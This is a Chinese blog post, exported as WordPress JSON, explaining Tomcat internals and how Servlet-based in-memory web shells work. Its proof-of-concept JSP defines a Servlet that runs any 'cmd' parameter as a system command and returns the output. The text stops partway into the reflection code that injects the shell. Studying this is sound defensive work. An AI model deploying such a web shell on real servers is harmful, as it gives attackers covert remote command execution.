{"id":349,"date":"2026-08-10T21:42:35","date_gmt":"2026-08-10T13:42:35","guid":{"rendered":"https:\/\/arknight.wiki\/?p=349"},"modified":"2026-08-10T21:42:36","modified_gmt":"2026-08-10T13:42:36","slug":"servlet%e5%86%85%e5%ad%98%e9%a9%ac","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/08\/10\/servlet%e5%86%85%e5%ad%98%e9%a9%ac\/","title":{"rendered":"Servlet\u5185\u5b58\u9a6c"},"content":{"rendered":"

Servlet\u5185\u5b58\u9a6c<\/h1>\n

Servlet\u5185\u5b58\u9a6c – Erosion2020 – \u535a\u5ba2\u56ed<\/a><\/p>\n

\u57fa\u7840\u6982\u5ff5\u8bb2\u89e3\uff1a<\/h2>\n

StandardContext\uff1a<\/h3>\n

\u8fd9\u662f\u6700\u5e38\u7528\u7684\u00a0Context<\/code>\u00a0\u5b9e\u73b0\u3002\u5b83\u901a\u5e38\u7528\u4e8e\u5f00\u53d1\u548c\u751f\u4ea7\u73af\u5883\uff0c\u9002\u7528\u4e8e\u5927\u591a\u6570 Web \u5e94\u7528\u3002<\/p>\n

StandardContext<\/code>\u00a0\u662f Tomcat \u4e2d\u6700\u5e38\u7528\u7684\u00a0Context<\/code>\u00a0\u5b9e\u73b0\uff0c\u4e3b\u8981\u7528\u4e8e\u7ba1\u7406 Web \u5e94\u7528\u7a0b\u5e8f\u7684\u751f\u547d\u5468\u671f\u3002\u5b83\u4f5c\u4e3a\u4e00\u4e2a\u5bb9\u5668\uff0c\u8d1f\u8d23\u52a0\u8f7d\u548c\u7ba1\u7406 Web \u5e94\u7528\u7684\u6240\u6709\u8d44\u6e90\uff0c\u5305\u62ec\u00a0Servlet<\/code>\u3001JSP \u9875\u9762\u3001\u9759\u6001\u6587\u4ef6\u7b49\u3002\u5728\u4e00\u4e2a\u5178\u578b\u7684 Web \u5e94\u7528\u4e2d\uff0cStandardContext<\/code>\u00a0\u662f\u4e0e\u5e94\u7528\u76f8\u5173\u7684\u6838\u5fc3\u7ec4\u4ef6\uff0c\u5b83\u786e\u4fdd Web \u5e94\u7528\u5728\u542f\u52a8\u65f6\u88ab\u6b63\u786e\u521d\u59cb\u5316\uff0c\u5728\u8fd0\u884c\u65f6\u80fd\u591f\u5904\u7406\u8bf7\u6c42\uff0c\u5728\u505c\u6b62\u65f6\u88ab\u9500\u6bc1\u3002<\/p>\n

\u5177\u4f53\u6765\u8bf4\uff0cStandardContext<\/code>\u00a0\u4e3b\u8981\u8d1f\u8d23\u4ece Web \u5e94\u7528\u7684\u00a0web.xml<\/code>\u00a0\u914d\u7f6e\u6587\u4ef6\u6216\u6ce8\u89e3\u4e2d\u8bfb\u53d6\u00a0Servlet<\/code>\u00a0\u914d\u7f6e\uff0c\u5e76\u5728\u5e94\u7528\u542f\u52a8\u65f6\u52a0\u8f7d\u8fd9\u4e9b\u00a0Servlet<\/code>\u3002\u5f53\u8bf7\u6c42\u5230\u8fbe\u65f6\uff0cStandardContext<\/code>\u00a0\u4f1a\u6839\u636e\u8bf7\u6c42\u7684 URL \u67e5\u627e\u5339\u914d\u7684\u00a0Servlet<\/code>\uff0c\u7136\u540e\u5c06\u8bf7\u6c42\u4f20\u9012\u7ed9\u8be5\u00a0Servlet<\/code>\u00a0\u6765\u5904\u7406\u3002\u5b83\u8fd8\u8d1f\u8d23\u00a0Servlet<\/code>\u00a0\u5b9e\u4f8b\u7684\u751f\u547d\u5468\u671f\u7ba1\u7406\uff0c\u5305\u62ec\u00a0Servlet<\/code>\u00a0\u7684\u521d\u59cb\u5316\u3001\u9500\u6bc1\u7b49\u64cd\u4f5c\u3002\u9664\u6b64\u4e4b\u5916\uff0cStandardContext<\/code>\u00a0\u8fd8\u652f\u6301\u914d\u7f6e\u00a0Servlet<\/code>\u00a0\u7684\u521d\u59cb\u5316\u53c2\u6570\u3001\u6620\u5c04\u8def\u5f84\u4ee5\u53ca\u9519\u8bef\u9875\u9762\u7b49\u3002<\/p>\n

<\/h3>\n

WrapperContext\uff1a<\/h3>\n

WrapperContext<\/code>\u00a0\u662f Tomcat \u4e2d\u4e00\u4e2a\u8f83\u4e3a\u7279\u6b8a\u7684\u00a0Context<\/code>\u00a0\u5b9e\u73b0\uff0c\u901a\u5e38\u7528\u4e8e\u65e9\u671f\u7248\u672c\u7684 Tomcat\uff0c\u5e76\u4e14\u5b83\u7684\u4f7f\u7528\u76f8\u5bf9\u8f83\u5c11\u3002\u5b83\u4e3b\u8981\u7528\u4e8e\u5904\u7406\u4e0e\u00a0Servlet<\/code>\u00a0\u76f8\u5173\u7684\u914d\u7f6e\u548c\u751f\u547d\u5468\u671f\u7ba1\u7406\uff0c\u5c24\u5176\u662f\u5728 Web \u5e94\u7528\u7a0b\u5e8f\u4e2d\u591a\u4e2a\u00a0Servlet<\/code>\u00a0\u5b9e\u4f8b\u5171\u4eab\u4e00\u4e2a\u5bb9\u5668\u65f6\u3002WrapperContext<\/code>\u00a0\u5b9e\u9645\u4e0a\u5e76\u4e0d\u4f5c\u4e3a Tomcat \u4e2d\u6807\u51c6\u7684 Web \u5e94\u7528\u5bb9\u5668\uff0c\u800c\u66f4\u591a\u5730\u4f5c\u4e3a\u4e00\u79cd\u5386\u53f2\u9057\u7559\u5b9e\u73b0\uff0c\u7279\u5b9a\u7248\u672c\u4e2d\u7528\u4e8e\u63d0\u4f9b\u5bf9\u00a0Servlet<\/code>\u00a0\u7684\u7ba1\u7406\u652f\u6301\u3002<\/p>\n

WrapperContext<\/code>\u00a0\u7684\u6838\u5fc3\u529f\u80fd\u662f\u7ba1\u7406\u548c\u5c01\u88c5\u00a0Servlet<\/code>\u00a0\u7684\u751f\u547d\u5468\u671f\uff0c\u5305\u62ec\u00a0Servlet<\/code>\u00a0\u7684\u521d\u59cb\u5316\u3001\u670d\u52a1\u5904\u7406\u4ee5\u53ca\u9500\u6bc1\u3002\u5b83\u901a\u8fc7\u5c06\u00a0Servlet<\/code>\u00a0\u4e0e\u00a0Wrapper<\/code>\u00a0\u8fdb\u884c\u5173\u8054\uff0c\u63d0\u4f9b\u4e86\u5bf9\u00a0Servlet<\/code>\u00a0\u5b9e\u4f8b\u7684\u96c6\u4e2d\u7ba1\u7406\u3002\u5728\u8fd9\u4e2a\u5bb9\u5668\u4e2d\uff0cWrapper<\/code>\u00a0\u8d1f\u8d23\u914d\u7f6e\u6bcf\u4e2a\u00a0Servlet<\/code>\uff0c\u5e76\u4e14\u00a0WrapperContext<\/code>\u00a0\u4f5c\u4e3a\u5bb9\u5668\u4e3a\u8fd9\u4e9b\u00a0Servlet<\/code>\u00a0\u63d0\u4f9b\u8fd0\u884c\u73af\u5883\u3002<\/p>\n

\u6b64\u5916\uff0cWrapperContext<\/code>\u00a0\u5728\u5904\u7406\u8bf7\u6c42\u65f6\uff0c\u5145\u5f53\u4e86\u8bf7\u6c42\u548c\u00a0Servlet<\/code>\u00a0\u4e4b\u95f4\u7684\u4e2d\u4ecb\u3002\u901a\u8fc7\u5bf9\u00a0Wrapper<\/code>\u00a0\u7684\u914d\u7f6e\uff0cWrapperContext<\/code>\u00a0\u786e\u4fdd\u7279\u5b9a\u7684\u8bf7\u6c42\u80fd\u591f\u88ab\u5206\u53d1\u5230\u6b63\u786e\u7684\u00a0Servlet<\/code>\u00a0\u8fdb\u884c\u5904\u7406\u3002\u7136\u800c\uff0c\u968f\u7740 Tomcat \u7248\u672c\u7684\u66f4\u65b0\u548c\u67b6\u6784\u7684\u6f14\u8fdb\uff0cWrapperContext<\/code>\u00a0\u7684\u4f5c\u7528\u9010\u6e10\u88ab\u5176\u4ed6\u66f4\u52a0\u7075\u6d3b\u548c\u53ef\u6269\u5c55\u7684\u5bb9\u5668\u6240\u66ff\u4ee3\uff0c\u5982\u00a0StandardContext<\/code>\uff0c\u56e0\u6b64\u5728\u73b0\u4ee3\u7684 Tomcat \u73af\u5883\u4e2d\uff0c\u5b83\u5e76\u4e0d\u5e38\u7528\uff0c\u66f4\u591a\u7684\u662f\u4f5c\u4e3a\u5bf9\u65e7\u7248\u672c\u7684\u652f\u6301\u3002<\/p>\n

Wrapper\uff1a<\/h3>\n

Wrapper<\/code>\u00a0\u662f\u4e00\u4e2a\u5c01\u88c5\u4e86\u00a0Servlet<\/code>\u00a0\u7684\u7ec4\u4ef6\u3002Wrapper<\/code>\u00a0\u5e76\u4e0d\u76f4\u63a5\u5904\u7406\u8bf7\u6c42\u6216\u5b9a\u4e49\u00a0Servlet<\/code>\u00a0\u7684\u903b\u8f91\uff0c\u5b83\u4e3b\u8981\u8d1f\u8d23\u914d\u7f6e\u548c\u7ba1\u7406\u4e0e\u00a0Servlet<\/code>\u00a0\u76f8\u5173\u7684\u64cd\u4f5c\uff0c\u6bd4\u5982\u00a0Servlet<\/code>\u00a0\u7684\u521d\u59cb\u5316\u3001\u9500\u6bc1\u548c\u914d\u7f6e\u53c2\u6570\u3002\u7b80\u5355\u6765\u8bf4\uff0cWrapper<\/code>\u00a0\u662f\u5bf9\u4e00\u4e2a\u00a0Servlet<\/code>\u00a0\u7684\u201c\u5c01\u88c5\u201d\uff0c\u5b83\u4e0e\u00a0Servlet<\/code>\u00a0\u5b9e\u4f8b\u7d27\u5bc6\u5173\u8054\uff0c\u4f46\u66f4\u591a\u5730\u4f5c\u4e3a\u5bb9\u5668\u5185\u7ba1\u7406\u7684\u89d2\u8272\uff0c\u5904\u7406\u00a0Servlet<\/code>\u00a0\u7684\u751f\u547d\u5468\u671f\u548c\u6620\u5c04\u3002<\/p>\n

\u800c\u00a0WrapperContext<\/code>\u00a0\u5e76\u4e0d\u662f\u4e00\u4e2a\u5e7f\u6cdb\u4f7f\u7528\u7684\u6807\u51c6\u7ec4\u4ef6\uff0c\u800c\u662f\u7279\u5b9a\u7248\u672c\u4e2d\u7528\u4e8e\u5904\u7406\u00a0Wrapper<\/code>\u00a0\u7684\u00a0Context<\/code>\u3002WrapperContext<\/code>\u00a0\u5b9e\u9645\u4e0a\u662f\u7528\u4e8e\u7ba1\u7406\u548c\u5b58\u50a8\u591a\u4e2a\u00a0Wrapper<\/code>\uff08\u5373\u591a\u4e2a\u00a0Servlet<\/code>\uff09\u5b9e\u4f8b\u7684\u5bb9\u5668\u3002\u5b83\u7684\u4e3b\u8981\u4f5c\u7528\u662f\u96c6\u4e2d\u7ba1\u7406\u4e0e\u00a0Servlet<\/code>\u00a0\u5b9e\u4f8b\u76f8\u5173\u7684\u914d\u7f6e\u3001\u751f\u547d\u5468\u671f\u7b49\u3002\u5f53 Tomcat \u542f\u52a8 Web \u5e94\u7528\u65f6\uff0cWrapperContext<\/code>\u00a0\u4f1a\u5c06\u5404\u4e2a\u00a0Wrapper<\/code>\u00a0\u52a0\u8f7d\u5e76\u7ba1\u7406\uff0c\u800c\u6bcf\u4e2a\u00a0Wrapper<\/code>\u00a0\u5219\u5bf9\u5e94\u4e00\u4e2a\u5177\u4f53\u7684\u00a0Servlet<\/code>\u3002<\/p>\n

ServletRequest<\/code>\uff08\u539f\u751f Request\uff09\uff1a<\/strong><\/h3>\n

ServletRequest<\/code>\u00a0\u662f Java Servlet API \u4e2d\u5b9a\u4e49\u7684\u63a5\u53e3\uff0c\u5b83\u4ee3\u8868\u4e86\u5ba2\u6237\u7aef\u8bf7\u6c42\u7684\u57fa\u672c\u4fe1\u606f\u3002\u8fd9\u4e2a\u63a5\u53e3\u63d0\u4f9b\u4e86\u4e00\u4e9b\u901a\u7528\u7684\u3001\u4e0e\u534f\u8bae\u65e0\u5173\u7684\u65b9\u6cd5\uff0c\u5141\u8bb8 Servlet \u5904\u7406\u4e0d\u540c\u7c7b\u578b\u7684\u8bf7\u6c42\u3002\u5b83\u662f\u6240\u6709\u8bf7\u6c42\u5bf9\u8c61\u7684\u7236\u63a5\u53e3\uff0c\u65e0\u8bba\u662f\u5728 HTTP \u8bf7\u6c42\u3001WebSocket \u8bf7\u6c42\u8fd8\u662f\u5176\u4ed6\u534f\u8bae\u4e0b\uff0c\u90fd\u4f1a\u7ee7\u627f\u8fd9\u4e2a\u63a5\u53e3\u3002<\/p>\n

\u4e3b\u8981\u529f\u80fd\uff1a<\/strong><\/p>\n

    \n
  • \u83b7\u53d6\u8bf7\u6c42\u53c2\u6570\uff1agetParameter()<\/code>\u3001getParameterMap()<\/code>\u00a0\u7b49\u65b9\u6cd5<\/li>\n
  • \u83b7\u53d6\u8bf7\u6c42\u5934\uff1agetHeader()<\/code>\u3001getHeaders()<\/code>\u00a0\u7b49\u65b9\u6cd5<\/li>\n
  • \u83b7\u53d6\u8f93\u5165\u6d41\uff1agetInputStream()<\/code>\uff0c\u83b7\u53d6\u8bf7\u6c42\u4f53\u7684\u539f\u59cb\u5185\u5bb9\uff08\u5982 POST \u6570\u636e\uff09<\/li>\n<\/ul>\n

    \u4f5c\u7528\uff1a<\/strong>\u00a0ServletRequest<\/code>\u00a0\u63a5\u53e3\u5b9a\u4e49\u4e86\u4e0e\u5ba2\u6237\u7aef\u8bf7\u6c42\u7684\u4ea4\u4e92\u65b9\u5f0f\uff0c\u4f46\u5b83\u5e76\u4e0d\u5904\u7406\u7279\u5b9a\u534f\u8bae\u7684\u7ec6\u8282\u3002\u4f8b\u5982\uff0c\u5b83\u4e0d\u5173\u5fc3 HTTP \u7684\u8bf7\u6c42\u5934\u3001Cookie \u6216\u65b9\u6cd5\uff08\u5982 GET\u3001POST \u7b49\uff09\u3002<\/p>\n

    Tomcat \u5b9e\u73b0\uff1a<\/strong>\u00a0\u5728 Tomcat \u4e2d\uff0cServletRequest<\/code>\u00a0\u901a\u5e38\u7531 Tomcat \u7684\u5e95\u5c42\u7ec4\u4ef6\u521b\u5efa\uff0c\u5904\u7406\u548c\u4f20\u9012\uff0c\u5b83\u5728\u8bf7\u6c42\u7684\u521d\u671f\u9636\u6bb5\u5c06\u539f\u59cb\u7684\u8bf7\u6c42\u6570\u636e\uff08\u5305\u62ec\u8f93\u5165\u6d41\u3001\u53c2\u6570\u7b49\uff09\u4ea4\u7ed9 Servlet \u6765\u5904\u7406\u3002\u8fd9\u4e2a\u5bf9\u8c61\u901a\u5e38\u662f\u6700\u201c\u539f\u59cb\u201d\u7684\u8bf7\u6c42\u5bf9\u8c61\uff0c\u53ea\u5305\u542b\u534f\u8bae\u65e0\u5173\u7684\u57fa\u672c\u4fe1\u606f\u3002<\/p>\n

    HttpServletRequest<\/code>\uff08HTTP \u534f\u8bae Request\uff09\uff1a<\/strong><\/h3>\n

    HttpServletRequest<\/code>\u00a0\u662f\u00a0ServletRequest<\/code>\u00a0\u7684\u5b50\u63a5\u53e3\uff0c\u4e13\u95e8\u7528\u4e8e\u5904\u7406 HTTP \u534f\u8bae\u76f8\u5173\u7684\u8bf7\u6c42\u4fe1\u606f\u3002\u5b83\u4e0d\u4ec5\u7ee7\u627f\u4e86\u00a0ServletRequest<\/code>\u00a0\u7684\u65b9\u6cd5\uff0c\u8fd8\u6269\u5c55\u4e86\u8bb8\u591a HTTP \u534f\u8bae\u7279\u6709\u7684\u529f\u80fd\uff0c\u4f8b\u5982\u5904\u7406 HTTP \u65b9\u6cd5\u3001\u8bf7\u6c42\u5934\u3001Cookies\u3001\u4f1a\u8bdd\u7b49\u3002<\/p>\n

    \u4e3b\u8981\u529f\u80fd\uff1a<\/strong><\/p>\n

      \n
    • \u83b7\u53d6 HTTP \u8bf7\u6c42\u7684\u53c2\u6570\uff1agetParameter()<\/code>\u3001getParameterMap()<\/code>\u00a0\u7b49\u65b9\u6cd5<\/li>\n
    • \u83b7\u53d6 HTTP \u8bf7\u6c42\u5934\uff1agetHeader()<\/code>\u3001getHeaders()<\/code>\u00a0\u7b49\u65b9\u6cd5<\/li>\n
    • \u83b7\u53d6\u8bf7\u6c42\u7684 HTTP \u65b9\u6cd5\uff08\u5982 GET\u3001POST\uff09\uff1agetMethod()<\/code><\/li>\n
    • \u83b7\u53d6\u8bf7\u6c42\u7684\u8def\u5f84\u3001URL\uff1agetRequestURI()<\/code>\u3001getRequestURL()<\/code>\u00a0\u7b49\u65b9\u6cd5<\/li>\n
    • \u83b7\u53d6\u548c\u8bbe\u7f6e Cookies\uff1agetCookies()<\/code>\u3001setCookies()<\/code>\u00a0\u7b49\u65b9\u6cd5<\/li>\n
    • \u83b7\u53d6 Session \u4fe1\u606f\uff1agetSession()<\/code>\u3001getSession(false)<\/code>\u00a0\u7b49\u65b9\u6cd5<\/li>\n<\/ul>\n

      \u4f5c\u7528\uff1a<\/strong>\u00a0HttpServletRequest<\/code>\u00a0\u8d1f\u8d23\u5904\u7406 HTTP \u534f\u8bae\u7279\u6709\u7684\u5185\u5bb9\u3002\u5728 Tomcat \u6216\u5176\u4ed6 Servlet \u5bb9\u5668\u4e2d\uff0cHttpServletRequest<\/code>\u00a0\u662f\u7528\u4e8e\u5904\u7406 HTTP \u8bf7\u6c42\u7684\u6838\u5fc3\u63a5\u53e3\uff0c\u5b83\u63d0\u4f9b\u4e86\u6bd4\u00a0ServletRequest<\/code>\u00a0\u66f4\u4e30\u5bcc\u7684\u529f\u80fd\uff0c\u5141\u8bb8\u5f00\u53d1\u8005\u8bbf\u95ee\u548c\u64cd\u4f5c HTTP \u8bf7\u6c42\u7684\u5404\u79cd\u7ec6\u8282\uff0c\u5982\u8bf7\u6c42\u65b9\u6cd5\u3001URL\u3001\u53c2\u6570\u3001\u5934\u90e8\u7b49\u3002<\/p>\n

      Tomcat \u5b9e\u73b0\uff1a<\/strong>\u00a0\u5728 Tomcat \u4e2d\uff0cHttpServletRequest<\/code>\u00a0\u5b9e\u9645\u4e0a\u662f\u7531\u00a0RequestFacade<\/code>\u00a0\u7c7b\u5b9e\u73b0\u7684\u3002RequestFacade<\/code>\u00a0\u7c7b\u5c06\u00a0ServletRequest<\/code>\u00a0\u63a5\u53e3\u63d0\u4f9b\u7684\u901a\u7528\u529f\u80fd\u4e0e HTTP \u534f\u8bae\u7279\u5b9a\u7684\u529f\u80fd\u7ed3\u5408\u5728\u4e00\u8d77\u3002\u8fd9\u4e2a\u5bf9\u8c61\u4e0d\u4ec5\u5c01\u88c5\u4e86\u8bf7\u6c42\u7684\u57fa\u672c\u6570\u636e\uff0c\u8fd8\u6dfb\u52a0\u4e86\u8bb8\u591a HTTP \u76f8\u5173\u7684\u4fe1\u606f\u548c\u65b9\u6cd5\u3002RequestFacade<\/code>\u00a0\u5c06\u901a\u8fc7\u5e95\u5c42\u7684\u00a0Request<\/code>\u00a0\u5bf9\u8c61\u63d0\u4f9b\u7ed9\u5f00\u53d1\u8005\u3002<\/p>\n

      Request<\/code>\uff08Tomcat \u5c01\u88c5\u5bf9\u8c61\uff09\uff1a<\/strong><\/h3>\n

      Request<\/code>\u00a0\u662f Tomcat \u5185\u90e8\u5b9e\u73b0\u7684\u4e00\u4e2a\u7c7b\uff0c\u5b83\u7ee7\u627f\u4e86\u00a0HttpServletRequest<\/code>\uff0c\u5e76\u8fdb\u4e00\u6b65\u5c01\u88c5\u4e86 HTTP \u8bf7\u6c42\u7684\u7ec6\u8282\u3002\u5b83\u662f Tomcat \u5bb9\u5668\u5185\u90e8\u7684\u4e00\u4e2a\u91cd\u8981\u5bf9\u8c61\uff0c\u4e3b\u8981\u8d1f\u8d23\u4e0e Tomcat \u5185\u90e8\u7684\u5bb9\u5668\u673a\u5236\uff08\u5982\u00a0StandardContext<\/code>\u3001Wrapper<\/code>\u00a0\u7b49\uff09\u8fdb\u884c\u4ea4\u4e92\u3002<\/p>\n

      \u4e3b\u8981\u529f\u80fd\uff1a<\/strong><\/p>\n

        \n
      • \u5b83\u5c01\u88c5\u4e86\u00a0HttpServletRequest<\/code>\uff0c\u5e76\u4e14\u589e\u52a0\u4e86\u4e0e Tomcat \u5bb9\u5668\u76f8\u5173\u7684\u529f\u80fd\u3002<\/li>\n
      • Request<\/code>\u00a0\u5bf9\u8c61\u4e0d\u4ec5\u5305\u542b HTTP \u8bf7\u6c42\u7684\u4fe1\u606f\uff0c\u8fd8\u5305\u542b\u4e86\u4e0e\u5bb9\u5668\u76f8\u5173\u7684\u4e0a\u4e0b\u6587\u4fe1\u606f\uff0c\u5982 Web \u5e94\u7528\u7684\u00a0StandardContext<\/code>\u3002<\/li>\n
      • Request<\/code>\u00a0\u5bf9\u8c61\u8fd8\u53ef\u4ee5\u5904\u7406\u8bf7\u6c42\u7684\u751f\u547d\u5468\u671f\u3001\u8bf7\u6c42\u5206\u53d1\u3001\u8bf7\u6c42\u7684\u521d\u59cb\u5316\u7b49\u4e0e\u5bb9\u5668\u6709\u5173\u7684\u64cd\u4f5c\u3002<\/li>\n<\/ul>\n

        \u4f5c\u7528\uff1a<\/strong>\u00a0\u5728 Tomcat \u4e2d\uff0cRequest<\/code>\u00a0\u5bf9\u8c61\u662f HTTP \u8bf7\u6c42\u7684\u6838\u5fc3\u5c01\u88c5\uff0c\u9664\u4e86\u63d0\u4f9b\u6807\u51c6\u7684 HTTP \u8bf7\u6c42\u65b9\u6cd5\uff0c\u8fd8\u627f\u62c5\u4e86\u8bb8\u591a\u4e0e\u5bb9\u5668\u76f8\u5173\u7684\u4efb\u52a1\uff0c\u6bd4\u5982\u7ba1\u7406\u8bf7\u6c42\u7684\u751f\u547d\u5468\u671f\u3001\u6267\u884c\u8bf7\u6c42\u8f6c\u53d1\u7b49\u3002Tomcat \u4e2d\u7684 Servlet \u5bb9\u5668\u7ec4\u4ef6\u4f1a\u5c06\u00a0Request<\/code>\u00a0\u5bf9\u8c61\u4f20\u9012\u7ed9\u76f8\u5e94\u7684\u00a0Servlet<\/code>\u00a0\u8fdb\u884c\u5904\u7406\u3002<\/p>\n

        Tomcat \u5b9e\u73b0\uff1a<\/strong>\u00a0Tomcat \u4e2d\u7684\u00a0Request<\/code>\u00a0\u7c7b\u662f\u4e00\u4e2a\u975e\u5e38\u6838\u5fc3\u7684\u7c7b\uff0c\u8d1f\u8d23\u5c06 HTTP \u8bf7\u6c42\u4e0e Web \u5e94\u7528\u7684\u4e0a\u4e0b\u6587\uff08\u5982\u00a0StandardContext<\/code>\uff09\u4ee5\u53ca\u5176\u4ed6\u5bb9\u5668\u529f\u80fd\u7ed3\u5408\u8d77\u6765\u3002\u901a\u8fc7\u00a0Request<\/code>\u00a0\u5bf9\u8c61\uff0cTomcat \u4e0d\u4ec5\u80fd\u591f\u5411 Servlet \u63d0\u4f9b HTTP \u8bf7\u6c42\u7684\u4fe1\u606f\uff0c\u8fd8\u80fd\u5c06\u8bf7\u6c42\u4e0e Tomcat \u7684\u5bb9\u5668\u673a\u5236\uff08\u5982 Servlet \u6620\u5c04\u3001\u4e0a\u4e0b\u6587\u7ba1\u7406\u7b49\uff09\u7ed3\u5408\u8d77\u6765\u3002<\/p>\n

        \u4e09\u4e2a\u00a0request<\/code>\u00a0\u5bf9\u8c61\u4e4b\u95f4\u7684\u5173\u7cfb\uff1a<\/h3>\n
          \n
        • ServletRequest<\/code><\/strong>\u00a0\u662f\u6700\u539f\u59cb\u7684\u63a5\u53e3\uff0c\u5b9a\u4e49\u4e86\u4e0e\u8bf7\u6c42\u76f8\u5173\u7684\u57fa\u672c\u64cd\u4f5c\uff0c\u4f46\u5b83\u4e0d\u5173\u5fc3\u534f\u8bae\u7c7b\u578b\uff08\u5982 HTTP \u6216\u5176\u4ed6\uff09\u3002\u5b83\u662f\u6240\u6709\u8bf7\u6c42\u7c7b\u7684\u7236\u7c7b\u3002<\/li>\n
        • HttpServletRequest<\/code><\/strong>\u00a0\u7ee7\u627f\u81ea\u00a0ServletRequest<\/code>\uff0c\u5e76\u4e13\u95e8\u7528\u4e8e\u5904\u7406 HTTP \u534f\u8bae\u7684\u8bf7\u6c42\uff0c\u63d0\u4f9b\u4e86\u5904\u7406 HTTP \u8bf7\u6c42\u7684\u6269\u5c55\u65b9\u6cd5\uff0c\u6bd4\u5982\u8bf7\u6c42\u65b9\u6cd5\u3001URL\u3001Session\u3001\u8bf7\u6c42\u5934\u7b49\u3002<\/li>\n
        • Request<\/code><\/strong>\u00a0\u662f Tomcat \u7279\u6709\u7684\u5b9e\u73b0\u7c7b\uff0c\u7ee7\u627f\u4e86\u00a0HttpServletRequest<\/code>\uff0c\u4e0d\u4ec5\u5305\u542b HTTP \u8bf7\u6c42\u7684\u4fe1\u606f\uff0c\u8fd8\u589e\u52a0\u4e86\u4e0e Tomcat \u5bb9\u5668\u76f8\u5173\u7684\u529f\u80fd\u548c\u4e0a\u4e0b\u6587\u4fe1\u606f\u3002Request<\/code>\u00a0\u5bf9\u8c61\u662f\u5728 Tomcat \u5185\u90e8\u7528\u4e8e\u5904\u7406 HTTP \u8bf7\u6c42\u7684\u6838\u5fc3\u5bf9\u8c61\u3002<\/li>\n<\/ul>\n

          jsp\u6587\u4ef6\u662f\u4ec0\u4e48\uff1a<\/h3>\n

          \u666e\u901a HTML \u662f\u9759\u6001\u7684\uff0cJSP \u53ef\u4ee5\u5728 HTML \u91cc\u5d4c\u5165 Java \u4ee3\u7801\uff0c\u670d\u52a1\u5668\u5148\u628a JSP \u7f16\u8bd1\u6210Servlet\uff0c\u518d\u6267\u884c\u5b83\u751f\u6210\u52a8\u6001\u5185\u5bb9\u8fd4\u56de\u7ed9\u6d4f\u89c8\u5668\u3002<\/p>\n

          JSP \u6709\u4e09\u79cd\u811a\u672c\u5143\u7d20\uff1a<\/p>\n\n\n\n\n\n\n\n
          \u6807\u7b7e<\/th>\n\u7c7b\u578b<\/th>\n\u8bf4\u660e<\/th>\n<\/tr>\n<\/thead>\n
          <% %><\/code><\/td>\nScriptlet<\/td>\n\u751f\u6210\u7684\u4ee3\u7801\u653e\u5165 _jspService()<\/code> \u65b9\u6cd5\u4e2d\uff0c\u6bcf\u6b21\u8bf7\u6c42\u90fd\u4f1a\u6267\u884c<\/strong><\/td>\n<\/tr>\n
          <%= %><\/code><\/td>\nExpression<\/td>\n\u8f93\u51fa\u8868\u8fbe\u5f0f\u503c\u5230\u9875\u9762<\/td>\n<\/tr>\n
          <%! %><\/code><\/td>\nDeclaration<\/td>\n\u751f\u6210\u7684\u4ee3\u7801\u4f5c\u4e3a\u7c7b\u6210\u5458\u53d8\u91cf\/\u65b9\u6cd5<\/strong>\uff0c\u5728\u6574\u4e2a Servlet \u751f\u547d\u5468\u671f\u5185\u53ea\u521d\u59cb\u5316\u4e00\u6b21<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

          \u5185\u5b58\u9a6cPOC\u89e3\u6790\uff1a<\/h2>\n

          poc\uff1a<\/h3>\n
          <%@ page contentType=\"text\/html; charset=UTF-8\" pageEncoding=\"UTF-8\" %>\n<%@ page import=\"org.apache.catalina.core.StandardContext\" %>\n<%@ page import=\"java.lang.reflect.Field\" %>\n<%@ page import=\"org.apache.catalina.connector.Request\" %>\n<%@ page import=\"java.io.InputStream\" %>\n<%@ page import=\"java.util.Scanner\" %>\n<%@ page import=\"java.io.IOException\" %>\n<%@ page import=\"org.apache.catalina.Wrapper\" %>\n<%@ page import=\"javax.servlet.Servlet\" %>\n<%@ page import=\"javax.servlet.ServletConfig\" %>\n<%@ page import=\"javax.servlet.ServletException\" %>\n<%@ page import=\"javax.servlet.ServletRequest\" %>\n<%@ page import=\"javax.servlet.ServletResponse\" %>\n\n<%!\n  \/\/ \u5b9a\u4e49\u4e00\u4e2a\u7b80\u5355\u7684 Servlet \u7528\u4e8e\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0cServlet\u6ca1\u4ec0\u4e48\u53ef\u8bf4\u7684\uff0c\u548c\u6b63\u5e38\u7684\u63a5\u53e3\u6ca1\u4ec0\u4e48\u533a\u522b\uff0c\u4e3b\u8981\u662f\u770b\u4e00\u4e0b\u5982\u4f55\u52a8\u6001\u83b7\u53d6context\uff0c\u5e76\u4e14\u5f80context\u91cc\u8fb9\u5199\u5165Servlet\u7684\n  Servlet servlet = new Servlet() {\n    @Override\n    public void init(ServletConfig servletConfig) throws ServletException {\n      \/\/ \u521d\u59cb\u5316\u903b\u8f91\uff08\u53ef\u4e3a\u7a7a\uff09\n    }\n\n    @Override\n    public ServletConfig getServletConfig() {\n      return null; \/\/ \u4e0d\u9700\u8981\u914d\u7f6e\n    }\n\n    @Override\n    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {\n      \/\/ \u83b7\u53d6\u4f20\u5165\u7684\u547d\u4ee4\u53c2\u6570\n      String cmd = servletRequest.getParameter(\"cmd\");\n      if (cmd == null || cmd.trim().isEmpty()) {\n        servletResponse.getWriter().println(\"No command specified.\");\n        return;\n      }\n      \/\/ \u5224\u65adwindows\u7c7b\u578b\u5e76\u8c03\u7528cmd\u6307\u4ee4\n      boolean isLinux = !System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\n      String[] cmds = isLinux ? new String[]{\"sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"\/c\", cmd};\n      String output = executeCommand(cmds);\n      servletResponse.setContentType(\"text\/plain\");\n      servletResponse.getWriter().println(output);\n    }\n\n    private String executeCommand(String[] cmds) {\n      StringBuilder output = new StringBuilder();\n      try (InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n           Scanner scanner = new Scanner(in).useDelimiter(\"\\a\")) {\n        if (scanner.hasNext()) {\n          output.append(scanner.next());\n        }\n      } catch (IOException e) {\n        output.append(\"Error executing command: \").append(e.getMessage());\n      }\n      return output.toString();\n    }\n\n    @Override\n    public String getServletInfo() {\n      return null;\n    }\n\n    @Override\n    public void destroy() {\n      \/\/ \u9500\u6bc1\u903b\u8f91\uff08\u53ef\u4e3a\u7a7a\uff09\n    }\n  };\n%>\n\n<%\n    \/\/ \u4f7f\u7528\u53cd\u5c04\u83b7\u53d6 StandardContext 